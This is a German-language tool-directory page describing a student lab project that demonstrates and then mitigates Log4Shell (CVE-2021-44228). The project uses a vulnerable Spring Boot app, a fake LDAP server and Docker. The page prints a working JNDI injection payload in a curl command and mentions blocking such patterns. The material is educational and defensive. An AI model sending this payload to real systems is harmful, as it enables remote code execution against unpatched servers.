Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
log4shell-homework9 — Log4Shell (CVE-2021-44228) Exploit-Demo für die SEAS 8405. Enthält eine verwundbare Spring-Boot-App, einen Fake-LDAP-Server, Docker-Setup, MITRE-Zuordnung, Incident Response und eine vollständige Bildschirmaufzeichnung. | Kitploit
Tools/GitHubGitHub/serpilrivas/log4shell-homework9
SchwachstellenanalyseExploitationWebanwendungs-ExploitationLernen & BildungIncident ResponseLabs & Praxis
GitHubserpilrivas/log4shell-homework9

log4shell-homework9

Log4Shell (CVE-2021-44228) Exploit-Demo für die SEAS 8405. Enthält eine verwundbare Spring-Boot-App, einen Fake-LDAP-Server, Docker-Setup, MITRE-Zuordnung, Incident Response und eine vollständige Bildschirmaufzeichnung.

Repository anzeigen
5vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Hausaufgabe 9 – Absicherung von Systemen gegen Log4Shell-Exploits

Überblick

Dieses Projekt demonstriert die Ausnutzung und Eindämmung der Log4Shell-Schwachstelle (CVE-2021-44228) mithilfe einer Docker-basierten Java-Webanwendung mit anfälligem Log4j 2.14.1. Das Setup umfasst außerdem einen simulierten bösartigen LDAP-Server, um den JNDI-Injektionsangriffspfad zu demonstrieren.

Nach der Ausnutzung wird das System gehärtet, indem Log4j aktualisiert, Eingaben validiert und Empfehlungen von MITRE D3FEND und ATT&CK angewendet werden.


Ordnerstruktur

root@kitploit:~
log4shell-homework9/
├── docker-compose.yml
├── Dockerfile
├── pom.xml
├── ldap_server.py
├── src/...
├── architecture_diagram.png
├── README.md
├── mitigation_report.pdf

So führen Sie es aus

1. Java-App erstellen (mit anfälligem Log4j)

root@kitploit:~
docker build -t vulnerable-app .

2. App mit Docker Compose ausführen

root@kitploit:~
docker-compose up

Die App läuft unter:
http://localhost:8080

3. Fake-LDAP-Server starten (in einem neuen Terminal)

root@kitploit:~
python3 ldap_server.py

4. Einen Exploit simulieren

Senden Sie eine Anfrage wie diese an die App:

root@kitploit:~
curl http://localhost:8080?input=${jndi:ldap://localhost:8000/Exploit}

Der LDAP-Server sollte die Anfrage empfangen (dies simuliert den JNDI-Exploit).


Wie das System gehärtet wird

Nach der Demonstration des Angriffs wurde das System wie folgt gesichert:

  • Upgrade von Log4j auf Version 2.17.0
  • Eingabevalidierung (Blockierung von ${jndi:...}-Mustern)
  • Deaktivieren von Message-Lookups in der Konfiguration
  • Docker-Isolation zur Begrenzung des Umfangs
  • Anwendung von MITRE-D3FEND- und ATT&CK-Techniken

MITRE-Zuordnung

MITRE ATT&CK:

  • T1190: Ausnutzung öffentlich zugänglicher Anwendungen
  • T1210: Ausnutzung von Remotediensten

MITRE D3FEND:

  • D3-IA: Eingabevalidierung
  • D3-HI: Hostbasierte Intrusion-Erkennung
  • D3-DA: Deaktivieren unsicherer Funktionen

Bericht

Siehe mitigation_report.pdf für:

  • Systemarchitektur vorher/nachher
  • Erläuterung von Log4Shell
  • Eindämmungsstrategie
  • Notfallplan für Sicherheitsvorfälle

Bildschirmaufnahme

Falls das Video nicht direkt hochgeladen ist, ist es über den Link im Bericht verfügbar.


Autor

Serpil Rivas
SEAS 8405 – Cybersecurity-Architekturen
Mai 2025

Tool herunterladen